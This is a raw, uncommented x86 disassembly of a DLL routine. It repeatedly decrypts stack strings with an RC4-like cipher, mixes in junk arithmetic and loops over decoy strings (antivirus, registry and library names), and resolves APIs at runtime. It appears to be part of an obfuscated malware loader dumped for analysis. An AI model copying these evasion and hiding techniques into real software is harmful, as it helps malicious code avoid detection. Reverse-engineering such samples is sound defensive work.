mov byte [ebp + ecx - 0x1a4], cl
inc ecx
cmp ecx, 0x100
jb 0x10004356
mov esi, dword [ebp - 8]
mov edi, eax
mov dword [ebp - 0x34], 0x2a
xor edx, edx
mov cl, byte [ebp + edi - 0x1a4]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x34]
movzx ecx, cl
push 0x40
movzx eax, byte [ebp + edx - 0x218]
mov edx, 0xae9
add eax, dword [ebp - 0xc]
add ecx, eax
movzx eax, cl
mov dword [ebp - 0xc], eax
mov eax, str._image_map_backArrowIcon_
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x21c6
ja 0x100043bc
movzx ecx, word [eax]
test ecx, ecx
jne 0x100043a6
jmp 0x100043c7
sub esi, 0x4d34988d
call fcn.10002181
call fcn.10002c8e
push ecx
push ecx
mov edx, esi
call fcn.1000277e
mov ecx, dword [ebp - 0xc]
add esp, 8
imul esi, esi, 0x8865dfb
mov al, byte [ebp + ecx - 0x1a4]
mov byte [ebp + edi - 0x1a4], al
mov al, byte [ebp - 1]
or esi, 0xba7e0a24
inc edi
mov byte [ebp + ecx - 0x1a4], al
cmp edi, 0x100
jb 0x10004372
xor eax, eax
mov dword [ebp - 0xc], eax
mov ecx, eax
mov edi, eax
lea eax, [ecx + 1]
and esi, 0x9f27086d
movzx eax, al
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], esi
mov esi, dword [ebp - 0x14]
mov cl, byte [ebp + eax - 0x1a4]
mov eax, dword [ebp - 0xc]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0xc], eax
push 0xf
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp + esi - 0x1a4], al
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x1a4], cl
mov ecx, esi
mov esi, dword [ebp - 8]
movzx eax, byte [ebp + ecx - 0x1a4]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a4]
xor al, byte [ebp + edi - 0x48]
mov byte [ebp + edi - 0x68], al
inc edi
pop eax
cmp edi, eax
jb 0x10004415
mov byte [ebp - 0x59], 0
mov dword [ebp - 0x14], 0x5a
mov dword [ebp - 0x58], 0x42
mov dword [ebp - 0x54], 0xffffff64
push ecx
mov edi, esi
mov ecx, str.eFrom_Uninstall
push esi
and edi, 0x8006800
call fcn.10001ece
add esp, 8
and dword [ebp - 0xc], 0
push 0x40
mov edx, 0x127d
mov eax, str._image_map_backArrowIcon_
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x776
ja 0x100044dd
movzx ecx, word [eax]
test ecx, ecx
jne 0x100044c1
add edi, 0x99528f16
jmp 0x100044fd
push ecx
push esi
mov ecx, str.SystemCurrentControlSetServicesVxDMSTCP
call fcn.10001ece
add esp, 8
add edi, 0x743da440
call fcn.10001906
add edi, 0xef8062c
call fcn.10001fc9
mov eax, dword [ebp - 0xc]
lea esi, [edi + 0x24eb1cbd]
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp + eax*4 - 0x58]
inc eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xc], eax
cmp eax, 2
jl 0x100044b4
push 0xb
pop edx
push 0x3c
pop eax
mov dword [ebp - 0x1d8], eax
xor eax, eax
mov dword [ebp - 8], esi
mov ecx, eax
mov dword [ebp - 0x1dc], 0x3d
mov dword [ebp - 0x1d4], 0x32
mov dword [ebp - 0x1d0], 0x58
mov dword [ebp - 0x1cc], 0xffffff07
sub edx, dword [ebp + ecx*4 - 0x1dc]
inc ecx
cmp ecx, 5
jl 0x10004559
push 0xa
pop ecx
mov esi, str.com.avast.ipm.ClientParameters.AavLicType
mov dword [ebp - 0x1b8], edx
lea edi, [ebp - 0x218]
mov dword [ebp - 0x20], 0x87d873a3
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x1c], 0xe58dc2a1
mov word [ebp - 0x18], 0x9c85
mov byte [ebp - 0x16], 0x11
movsw word es:[edi], word [esi]
mov esi, dword [ebp - 8]
and esi, 0x49c6dc59
mov cl, byte [str.eFrom_Uninstall]
mov edx, str.eFrom_Uninstall
jmp 0x100045b7
sub cl, 0x30
cmp cl, 9
ja 0x100045bd
inc edx
mov cl, byte [edx]
test cl, cl
jne 0x100045ac
jmp 0x100045c3
or esi, 0xc0693298
imul edi, esi, 0xb7722d74
mov ecx, eax
mov dword [ebp - 0x10], edi
mov byte [ebp + ecx - 0x1a4], cl
inc ecx
cmp ecx, 0x100
jb 0x100045ce
mov esi, eax
mov edi, eax
xor edx, edx
mov cl, byte [ebp + esi - 0x1a4]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x80]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x218]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1a4]
mov byte [ebp + esi - 0x1a4], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x1a4], al
cmp esi, 0x100
jb 0x100045e2
mov edi, dword [ebp - 0x10]
xor eax, eax
mov dword [ebp - 0xc], eax
mov edx, 0x8bc
mov dword [ebp - 8], eax
mov ecx, str.SystemCurrentControlSetServicesVxDMSTCP
movzx eax, byte [str.SystemCurrentControlSetServicesVxDMSTCP]
jmp 0x10004652
add edx, eax
inc ecx
cmp edx, 0x10c4
ja 0x10004658
movzx eax, byte [ecx]
test eax, eax
jne 0x10004644
jmp 0x10004673
call fcn.10002268
mov ecx, str.PKCS12_item_i2d_encrypt_ex
xor edi, 0x6199af4d
call fcn.10002689
imul edi, edi, 0x8f3dd39b
add edi, 0x6c72bb87
call fcn.10001e3e
xor ecx, ecx
mov eax, str.Failed_to_remove_license
mov edx, ecx
inc edx
lea eax, [eax + 2]
cmp edx, 0xa03
je 0x1000469a
cmp word [eax], cx
jne 0x10004687
jmp 0x100046a0
imul edi, edi, 0x3a72bd27
mov esi, ecx
add edi, 0x489f20b5
mov eax, dword [ebp - 8]
mov edx, ecx
inc eax
xor edi, 0x66eeabaa
movzx eax, al
mov dword [ebp - 8], eax
mov eax, str.Failed_to_remove_license
inc edx
lea eax, [eax + 2]
cmp edx, 0x1c3f
jg 0x100046d2
cmp word [eax], cx
jne 0x100046bf
jmp 0x100046d7
call fcn.10001076
mov eax, edi
xor eax, 0x72ebd18
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
imul edi, edi, 0x1b3f13f3
push 0
mov cl, byte [ebp + eax - 0x1a4]
mov eax, dword [ebp - 0xc]
movzx edx, cl
add eax, edx
mov dword [ebp - 0x34], edx
mov edx, dword [ebp - 8]
movzx eax, al
mov dword [ebp - 0xc], eax
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp + edx - 0x1a4], al
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x1a4], cl
mov eax, edx
pop ecx
movzx eax, byte [ebp + eax - 0x1a4]
add eax, dword [ebp - 0x34]
movzx eax, al
mov al, byte [ebp + eax - 0x1a4]
xor al, byte [ebp + esi - 0x20]
mov byte [ebp + esi - 0x24c], al
inc esi
cmp esi, 0xb
jb 0x100046a8
xor eax, eax
mov edx, str._image_map_backArrowIcon_
mov ecx, eax
inc ecx
lea edx, [edx + 2]
cmp ecx, 0x251
jl 0x10004775
cmp word [edx], ax
jne 0x10004755
cmp ecx, 0x8a7
jle 0x1000477a
call fcn.1000152f
jmp 0x1000477a
call fcn.100012e6
call fcn.10001b8d
push 0x2a
pop ecx
mov dword [ebp - 0x7c], ecx
xor eax, eax
mov dword [ebp - 0x84], 0x3a
mov dword [ebp - 0x80], 0x52
mov dword [ebp - 0x78], 0xffffff37
movups xmm1, xmmword [ebp - 0x84]
mov byte [ebp - 0x241], al
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd ecx, xmm1
add ecx, 0x14
mov dword [ebp - 0x1b4], ecx
push 0x50
mov esi, 0x1278
mov ecx, str.PKCS12_item_i2d_encrypt_ex
pop edx
add esi, edx
lea ecx, [ecx + 2]
cmp esi, 0x1574
ja 0x100047f4
movzx edx, word [ecx]
test edx, edx
jne 0x100047de
jmp 0x100047fb
call fcn.10001619
xor eax, eax
imul ecx, dword [ebp - 0x10], 0xa0a358fa
mov dword [ebp - 8], ecx
push 0x4c
pop ecx
mov byte [ebp - 0x1a], cl
lea edi, [ebp - 0x228]
push 0xf
pop ecx
mov esi, str.RegKey28HKCUSoftwarePowerArchiverIntFilesExtract10W
mov dword [ebp - 0x24], 0x24f377ad
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x20], 0x2d8f1820
mov ecx, eax
mov word [ebp - 0x1c], 0x2efb
mov byte [ebp - 0x19], 0x23
mov dword [ebp - 0x34], eax
mov byte [ebp + ecx - 0x1a4], cl
inc ecx
cmp ecx, 0x100
jb 0x10004838
mov esi, dword [ebp - 0x34]
mov edi, eax
mov eax, dword [ebp - 8]
add eax, 0x48493e26
mov dword [ebp - 0x2c], eax
xor edx, edx
mov cl, byte [ebp + edi - 0x1a4]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x4c]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x228]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x1a4]
mov byte [ebp + edi - 0x1a4], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x1a4], al
cmp edi, 0x100
jb 0x10004858
xor eax, eax
mov dword [ebp - 0xc], eax
mov ecx, eax
mov edi, eax
lea eax, [ecx + 1]
movzx eax, al
mov dword [ebp - 0x10], eax
mov esi, dword [ebp - 0x10]
push 0x46
mov cl, byte [ebp + eax - 0x1a4]
mov eax, dword [ebp - 0xc]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0xc], eax
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp + esi - 0x1a4], al
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x1a4], cl
mov eax, esi
mov esi, dword [ebp - 8]
mov ecx, str.Failed_to_remove_license
movzx eax, byte [ebp + eax - 0x1a4]
add eax, edx
movzx eax, al
pop edx
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp - 1], al
lea eax, [edx - 0x30]
push 9
pop edx
cmp ax, dx
ja 0x1000491c
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x10004902
jmp 0x10004922
imul esi, esi, 0xa4f8dc2e
add esi, 0x43637ace
mov dword [ebp - 8], esi
call fcn.100023ca
push 0x50
mov edx, 0x1458
mov eax, str.PKCS12_item_i2d_encrypt_ex
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x1986
ja 0x10004953
movzx ecx, word [eax]
test ecx, ecx
jne 0x1000493d
jmp 0x10004965
sub esi, 0x6f421c1b
push ecx
mov edx, esi
mov dword [ebp - 8], esi
call fcn.1000294e
pop ecx
mov eax, dword [ebp - 0x2c]
xor eax, 0x66a26a0e
sub eax, 0x2fac8539
mov dword [ebp - 0x2c], eax
call fcn.100023ca
mov al, byte [ebp + edi - 0x24]
xor al, byte [ebp - 1]
mov ecx, dword [ebp - 0x10]
mov byte [ebp + edi - 0x29c], al
inc edi
cmp edi, 0xc
jb 0x100048a5
xor eax, eax
mov byte [ebp - 0x290], al
mov esi, str._OPTIONS
mov dword [ebp - 0x24], 0xce077e2b
lea edi, [ebp - 0x44]
mov word [ebp - 0x20], 0x9708
push 0xf
pop ecx
movsd dword es:[edi], dword [esi]
mov edx, eax
mov byte [ebp - 0x1d], cl
mov ecx, eax
mov byte [ebp - 0x1e], 0x70
mov dword [ebp - 0x1c], 0x4e7f7695
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebp + ecx - 0x1a4], cl
inc ecx
cmp ecx, 0x100
jb 0x100049ca
mov esi, dword [ebp - 8]
mov edi, eax
movzx eax, byte [str.eFrom_Uninstall]
mov dword [ebp - 0xc], eax
mov cl, byte [ebp + edi - 0x1a4]
mov eax, edi
and eax, 7
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + eax - 0x44]
add eax, edx
mov edx, 0x2603
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x4c], eax
mov eax, str.eFrom_Uninstall
test ecx, ecx
je 0x10004a40
add edx, ecx
inc eax
cmp edx, 0xf2f
ja 0x10004a35
movzx ecx, byte [eax]
test ecx, ecx
jne 0x10004a1b
and esi, 0x1e86dfce
jmp 0x10004a4b
call fcn.1000257c
and esi, 0x4429e019
call fcn.1000152f
imul esi, esi, 0x5bce98e0
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 8], esi
or esi, 0xfd866756
mov al, byte [ebp + edx - 0x1a4]
mov byte [ebp + edi - 0x1a4], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x1a4], al
cmp edi, 0x100
jb 0x100049e9
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov edi, ecx
mov dword [ebp - 0x10], ecx
lea eax, [edi + 1]
mov edx, ecx
movzx edi, al
mov eax, str._image_map_backArrowIcon_
inc edx
lea eax, [eax + 2]
cmp edx, 0x1752
jg 0x10004aa9
cmp word [eax], cx
jne 0x10004a93
mov eax, dword [ebp - 8]
jmp 0x10004ab6
call fcn.1000281c
mov eax, dword [ebp - 8]
xor eax, 0xd48b5252
imul eax, eax, 0x16852842
or eax, 0x77b9e5d5
mov dword [ebp - 8], eax
call fcn.1000172c
mov cl, byte [ebp + edi - 0x1a4]
xor esi, 0x41b36833
mov eax, dword [ebp - 0xc]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0xc], eax
push 0
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp + edi - 0x1a4], al
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x1a4], cl
movzx eax, byte [ebp + edi - 0x1a4]
mov ecx, dword [ebp - 0x10]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a4]
xor al, byte [ebp + ecx - 0x24]
mov byte [ebp + ecx - 0x28c], al
inc ecx
mov dword [ebp - 0x10], ecx
cmp ecx, 0xc
pop ecx
jb 0x10004a86
xor eax, eax
mov byte [ebp - 0x280], al
mov esi, eax
call fcn.1000257c
mov eax, dword [ebp - 8]
and eax, 0x52121109
mov dword [ebp - 0x88], 0x5d
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 0x84], 0x2f
mov ecx, eax
mov dword [ebp - 0x80], 0x28
mov dword [ebp - 0x7c], 0x26
mov dword [ebp - 0x78], 0xffffff26
sub esi, dword [ebp + ecx*4 - 0x88]
inc ecx
cmp ecx, 5
jl 0x10004b75
push 0xe
mov dword [ebp - 0x1b0], esi
mov ecx, eax
mov dword [ebp - 0x24], 0x5a
mov dword [ebp - 0x20], 0x33
mov dword [ebp - 0x1c], 0xffffff80
pop edx
sub edx, dword [ebp + ecx*4 - 0x24]
inc ecx
cmp ecx, 3
jl 0x10004ba2
push 5
pop ecx
mov esi, str.unknown_box_specifier
mov dword [ebp - 0x1c0], edx
lea edi, [ebp - 0x88]
mov dword [ebp - 0x24], 0x3032e1aa
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x20], 0xe8a3faf1
mov ecx, eax
mov dword [ebp - 0x1c], 0xaa3c942
movsw word es:[edi], word [esi]
mov edi, eax
mov byte [ebp + ecx - 0x1a4], cl
inc ecx
cmp ecx, 0x100
jb 0x10004bdd
mov esi, eax
movzx eax, byte [str.SystemCurrentControlSetServicesVxDMSTCP]
mov dword [ebp - 0x10], eax
xor edx, edx
mov dword [ebp - 0x4c], 0x15
mov eax, esi
mov cl, byte [ebp + esi - 0x1a4]
div dword [ebp - 0x4c]
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x88]
mov edx, 0xe63
add eax, edi
add ecx, eax
movzx edi, cl
mov ecx, dword [ebp - 0x10]
mov al, byte [ebp + edi - 0x1a4]
mov byte [ebp + esi - 0x1a4], al
mov eax, str.SystemCurrentControlSetServicesVxDMSTCP
jmp 0x10004c52
add edx, ecx
inc eax
cmp edx, 0x20d9
ja 0x10004d32
movzx ecx, byte [eax]
test ecx, ecx
jne 0x10004c40
mov ecx, dword [ebp - 0xc]
xor ecx, 0xee9a5a6e
mov dword [ebp - 0xc], ecx
lea eax, [ecx + 0x3aa0a411]
inc esi
mov dword [ebp - 8], eax
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x1a4], al
cmp esi, 0x100
jb 0x10004bf9
xor eax, eax
mov dword [ebp - 0xc], eax
mov edi, eax
mov esi, eax
lea eax, [ecx - 0x3d24bec8]
mov dword [ebp - 0x2c], eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0xc]
mov cl, byte [ebp + edi - 0x1a4]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0xc], eax
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp + edi - 0x1a4], al
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x1a4], cl
movzx eax, byte [ebp + edi - 0x1a4]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a4]
xor al, byte [ebp + esi - 0x24]
mov byte [ebp + esi - 0x1d8], al
inc esi
cmp esi, 0xc
jb 0x10004c94
mov esi, str.curl_easy_error
mov dword [ebp - 0x58], 0xa25b58d6
lea edi, [ebp - 0x84]
mov dword [ebp - 0x54], 0x17715d99
xor eax, eax
mov byte [ebp - 0x50], 0xfc
mov byte [ebp - 0x1cc], al
mov edx, eax
movsd dword es:[edi], dword [esi]
mov ecx, str.Failed_to_remove_license
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
add ecx, 2
inc edx
cmp edx, 0x13f9
jl 0x10004d40
cmp word [ecx], ax
jne 0x10004d1c
mov esi, dword [ebp - 0x2c]
jmp 0x10004d55
mov ecx, dword [ebp - 8]
or ecx, 0x4ab5d3e6
jmp 0x10004c59
mov edx, dword [ebp - 8]
push ecx
call fcn.1000294e
mov esi, dword [ebp - 0x2c]
xor esi, 0xf342b15a
xor eax, eax
pop ecx
or esi, 0xb6a36d1f
mov dword [ebp - 0x10], eax
sub esi, 0xe5e7635
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x2c], esi
call fcn.100023ca
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x1a4], al
inc eax
mov dword [ebp - 0xc], eax
cmp eax, 0x100
jb 0x10004d6a
xor edi, edi
xor edx, edx
mov cl, byte [ebp + edi - 0x1a4]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x70]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x84]
add eax, dword [ebp - 0x10]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x10], ecx
mov al, byte [ebp + ecx - 0x1a4]
mov byte [ebp + edi - 0x1a4], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x1a4], al
cmp edi, 0x100
jb 0x10004d86
xor eax, eax
mov dword [ebp - 0xc], eax
mov esi, eax
mov edi, eax
lea eax, [esi + 1]
movzx esi, al
mov eax, dword [ebp - 0xc]
push 9
mov cl, byte [ebp + esi - 0x1a4]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0xc], eax
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp + esi - 0x1a4], al
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x1a4], cl
movzx eax, byte [ebp + esi - 0x1a4]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a4]
xor al, byte [ebp + edi - 0x58]
mov byte [ebp + edi - 0x1e8], al
inc edi
pop eax
cmp edi, eax
jb 0x10004dd7
xor eax, eax
mov dword [ebp - 0x24], 0x61
push 0x4c
mov byte [ebp - 0x1df], al
mov ecx, eax
mov dword [ebp - 0x20], 0x1e
mov dword [ebp - 0x1c], 0xffffff35
pop edx
add edx, dword [ebp + ecx*4 - 0x24]
inc ecx
cmp ecx, 3
jl 0x10004e53
or dword [ebp - 0x2c], 0x6c76073f
mov ecx, eax
push 8
mov dword [ebp - 8], edx
pop edx
mov dword [ebp - 0x24], 0x28
mov dword [ebp - 0x20], 0x16
mov dword [ebp - 0x1c], 0xffffffbb
add edx, dword [ebp + ecx*4 - 0x24]
inc ecx
cmp ecx, 3
jl 0x10004e81
push 6
pop ecx
mov esi, str.__needed_for_localisation
mov dword [ebp - 0x54], edx
lea edi, [ebp - 0x208]
mov dword [ebp - 0x24], 0x465ce0c3
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x20], 0x763d63db
mov ecx, eax
mov dword [ebp - 0x1c], 0xc7a04251
mov dword [ebp - 0x70], eax
movsw word es:[edi], word [esi]
mov byte [ebp + ecx - 0x1a4], cl
inc ecx
cmp ecx, 0x100
jb 0x10004eba
mov esi, dword [ebp - 0x2c]
mov edi, eax
xor edx, edx
mov cl, byte [ebp + edi - 0x1a4]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x38]
movzx ecx, cl
imul esi, esi, 0x33ffac97
movzx eax, byte [ebp + edx - 0x208]
add eax, dword [ebp - 0x70]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x70], ecx
mov al, byte [ebp + ecx - 0x1a4]
mov byte [ebp + edi - 0x1a4], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x1a4], al
cmp edi, 0x100
jb 0x10004ecf
mov dl, byte [str.SystemCurrentControlSetServicesVxDMSTCP]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x38], eax
movzx eax, dl
mov dword [ebp - 0x4c], eax
movzx eax, byte [str.eFrom_Uninstall]
mov dword [ebp - 0x34], eax
mov ecx, str.SystemCurrentControlSetServicesVxDMSTCP
test dl, dl
je 0x10004f5e
mov al, dl
sub al, 0x30
cmp al, 9
ja 0x10004f58
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10004f49
jmp 0x10004f5e
imul esi, esi, 0x2385f9ae
mov edi, esi
mov edx, esi
push ecx
or edi, 0x93284235
call fcn.1000294e
mov eax, dword [ebp - 0xc]
inc eax
movzx eax, al
mov dword [ebp - 0xc], eax
xor eax, eax
pop ecx
mov edx, eax
mov ecx, str.PKCS12_item_i2d_encrypt_ex
inc edx
lea ecx, [ecx + 2]
cmp edx, 0xf58
jl 0x10004f95
cmp word [ecx], ax
jne 0x10004f82
jmp 0x10004f9b
xor edi, 0xca28dc97
mov esi, dword [ebp - 0x4c]
add edi, 0x171cd6e
or edi, 0xf471a6d9
mov edx, 0x1071
mov eax, str.SystemCurrentControlSetServicesVxDMSTCP
mov ecx, esi
test esi, esi
je 0x10004fd3
add edx, ecx
inc eax
cmp edx, 0x16a3
ja 0x10004fce
movzx ecx, byte [eax]
test ecx, ecx
jne 0x10004fba
jmp 0x10004fd3
call fcn.100023ca
mov esi, edi
mov edx, edi
push ecx
and esi, 0xf22c7f7
call fcn.1000294e
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
pop ecx
mov cl, byte [ebp + edi - 0x1a4]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp + edi - 0x1a4], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1a4], cl
movzx eax, byte [ebp + edi - 0x1a4]
mov edi, dword [ebp - 0x34]
add eax, edx
movzx eax, al
mov edx, 0x977
mov ecx, edi
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp - 1], al
mov eax, str.eFrom_Uninstall
test edi, edi
je 0x10005057
add edx, ecx
inc eax
cmp edx, 0xba6
ja 0x10005052
movzx ecx, byte [eax]
test ecx, ecx
jne 0x1000503e
jmp 0x10005057
call fcn.10001cdd
and esi, 0xe0053c3
mov eax, esi
and eax, 0x4ba25626
mov dword [ebp - 0x70], eax
call fcn.1000114c
mov edx, dword [ebp - 0x38]
mov al, byte [ebp + edx - 0x24]
xor al, byte [ebp - 1]
mov byte [ebp + edx - 0x80], al
inc edx
mov dword [ebp - 0x38], edx
cmp edx, 0xc
mov dl, byte [str.SystemCurrentControlSetServicesVxDMSTCP]
jb 0x10004f3e
mov esi, str..putSleepInfoText_
mov dword [ebp - 0x44], 0x42f768e4
lea edi, [ebp - 0x28]
mov dword [ebp - 0x40], 0xf3ea9e8d
xor eax, eax
mov byte [ebp - 0x3c], 0x74
mov byte [ebp - 0x74], al
mov ecx, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, eax
mov byte [ebp + ecx - 0x1a4], cl
inc ecx
cmp ecx, 0x100
jb 0x100050b7
mov esi, eax
xor edx, edx
mov cl, byte [ebp + esi - 0x1a4]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x94]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x28]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1a4]
mov byte [ebp + esi - 0x1a4], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x1a4], al
cmp esi, 0x100
jb 0x100050c9
mov esi, dword [ebp - 0x70]
mov ecx, 0x11dc
movzx eax, byte [str.eFrom_Uninstall]
and esi, 0xbb86d66b
test eax, eax
je 0x10005153
mov edx, str.eFrom_Uninstall
add ecx, eax
inc edx
cmp ecx, 0x30e
ja 0x10005145
movzx eax, byte [edx]
test eax, eax
jne 0x1000512b
and esi, 0xb9f19203
jmp 0x10005158
mov eax, str.SystemCurrentControlSetServicesVxDMSTCP
mov edx, eax
mov ecx, eax
call fcn.100029e8
call fcn.100014b1
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov edx, ecx
mov edi, ecx
lea eax, [edx + 1]
movzx edx, al
mov dword [ebp - 0x4c], edx
mov al, byte [ebp + edx - 0x1a4]
mov byte [ebp - 1], al
movzx eax, al
add eax, dword [ebp - 0xc]
movzx eax, al
mov dword [ebp - 0xc], eax
mov al, byte [ebp + eax - 0x1a4]
mov byte [ebp + edx - 0x1a4], al
mov eax, ecx
mov edx, str._image_map_backArrowIcon_
inc eax
lea edx, [edx + 2]
cmp eax, 0xf67
jl 0x100051a5
cmp word [edx], cx
jne 0x10005195
cmp eax, 0x1bbc
jle 0x100051b4
and esi, 0x9559b7bb
jmp 0x100051ba
and esi, 0x73abb434
xor esi, 0x945aef55
push ecx
mov edx, esi
call fcn.1000294e
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x4c]
pop ecx
mov cl, byte [ebp - 1]
mov byte [ebp + eax - 0x1a4], cl
movzx eax, byte [ebp - 1]
movzx ecx, byte [ebp + edx - 0x1a4]
add ecx, eax
movzx eax, cl
push 9
mov al, byte [ebp + eax - 0x1a4]
xor al, byte [ebp + edi - 0x44]
mov byte [ebp + edi - 0x20], al
inc edi
pop eax
push 0
pop ecx
cmp edi, eax
jb 0x10005161
xor eax, eax
mov edx, 0x2180
push 0x46
mov byte [ebp - 0x17], al
mov eax, str.Failed_to_remove_license
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0xc26
ja 0x10005230
movzx ecx, word [eax]
test ecx, ecx
jne 0x1000521a
jmp 0x10005235
call fcn.100014b1
mov edi, esi
or edi, 0x331543a1
mov dword [0x10026478], edi
call fcn.10001906
xor eax, eax
mov dword [ebp - 0xa0], 0xa
mov dword [ebp - 0x9c], 0x31
mov ecx, eax
mov dword [ebp - 0x98], 0x22
mov edx, eax
mov dword [ebp - 0x94], 0x34
mov dword [ebp - 0x90], 0xffffff6f
sub edx, dword [ebp + ecx*4 - 0xa0]
inc ecx
cmp ecx, 5
jl 0x10005280
push 0x1b
pop ecx
mov dword [ebp - 0x34], edx
mov edx, str.Failed_to_remove_license
mov dword [ebp - 0x44], ecx
mov ecx, eax
mov dword [ebp - 0x48], 0x17
mov dword [ebp - 0x40], 0xffffffce
inc ecx
lea edx, [edx + 2]
cmp ecx, 0x15ad
je 0x100052d2
cmp word [edx], ax
jne 0x100052ab
cmp ecx, 0xbf1
jg 0x100052d2
lea edi, [esi - 0x1a573940]
mov dword [0x10026478], edi
jmp 0x100052da
mov esi, edi
or esi, 0xeb8b9867
push ecx
push ecx
or esi, 0x1d0c94a1
mov ecx, edi
mov dword [0x10026068], esi
call fcn.1000119b
add esp, 8
xor eax, eax
mov esi, eax
sub esi, dword [ebp + eax*4 - 0x48]
inc eax
cmp eax, 3
jl 0x100052f6
mov ecx, dword [ebp - 0x1a8]
lea eax, [ebp - 0x25c]
push eax
lea edx, [ebp - 0x26c]
call fcn.1001adf3
call eax
cmp eax, dword [ebp - 0x1ac]
jne 0x10005346
push 0x31
mov dword [ebp - 0x58], 0x49
xor eax, eax
mov dword [ebp - 0x54], 0xffffff87
pop ecx
add ecx, dword [ebp + eax*4 - 0x58]
inc eax
cmp eax, 2
jl 0x10005335
mov eax, ecx
jmp 0x1000562e
mov ecx, dword [ebp - 0x1c8]
lea edx, [ebp - 0x234]
push eax
call fcn.1001adf3
call eax
mov ecx, dword [ebp - 0x8c]
lea eax, [ebp - 0x2c0]
push eax
lea edx, [ebp - 0x2ac]
call fcn.1001adf3
call eax
mov edi, eax
cmp edi, dword [ebp - 0x1c4]
jne 0x100053cf
mov dword [ebp - 0x84], 0x45
xorps xmm1, xmm1
mov dword [ebp - 0x80], 0x27
mov dword [ebp - 0x7c], 0x55
